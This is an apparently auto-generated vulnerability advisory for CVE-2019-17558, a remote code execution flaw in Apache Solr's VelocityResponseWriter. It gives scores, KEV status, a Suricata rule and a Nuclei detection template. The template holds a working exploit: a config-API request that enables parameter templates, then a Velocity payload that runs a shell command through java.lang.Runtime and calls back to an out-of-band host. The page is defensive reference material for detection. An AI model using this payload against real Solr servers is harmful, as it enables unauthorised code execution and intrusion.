VULNpocalypse

CVE-2019-17558: Apache Solr VelocityResponseWriter Plug-In Remote Code Execution Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).

Description quoted from the CVE record (assigned by apache, published 2019-12-30).

Weakness: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)

How it can be exploited

Exploitable over the network with high attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2021-11-03
US federal deadline
2022-05-03
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Exploit Observer found 2 Exploit-DB entries, 1 Nuclei template and 12 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 31 references on Exploit Observer

Live scores

EPSS
0.986
very likely to be attacked soon
VEDAS
0.978
strong exploit evidence
On CISA KEV
Yes, since 2021-11-03
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2019-17558 EPSS over time2025-042026-11-08
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.5CVE-2019-17558 VEDAS over time2025-042026-11-08

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Apache Solrversion Apache Solr 5.0.0 to Apache Solr 8.3.1Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply updates per vendor instructions.

Vendor guidance:

How to detect it

Nuclei template (active check)

Apache Solr - Injection

Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /solr/admin/cores?wt=json, POST /solr/{{core}}/config, GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using regex, status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2019-17558.yaml
Show the template (64 lines)
yaml
id: CVE-2019-17558

info:
  name: "Apache Solr - Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the
    VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset
    `velocity/` directory or as a parameter.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2019-17558&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=apache&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2019-17558
    cwe-id: CWE-74
  metadata:
    verified: false
  tags: cve,cve2019,kev,packetstorm,apache,rce,solr,oast,vkev,vuln
http:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /solr/{{core}}/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "update-queryresponsewriter": {
              "startup": "lazy",
              "name": "velocity",
              "class": "solr.VelocityResponseWriter",
              "template.base.dir": "",
              "solr.resource.loader.enabled": "true",
              "params.resource.loader.enabled": "true"
            }
        }
      - |
        GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: core
        group: 1
        regex:
          - '"name"\:"(.*?)"'
        internal: true

CVE-2019-17558.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2019-17558 Apache Solr - Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2019-17558 Apache Solr - Injection"; flow:established,to_server; http.uri; content:"'"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2019-17558; reference:url,https://www.exploit.observer/?keyword=CVE-2019-17558&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=apache&match=exact; sid:1010483; rev:1;)

CVE-2019-17558.rules on GitHub

Advisories on this CVE

References

Government sources

Other references

17 more

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

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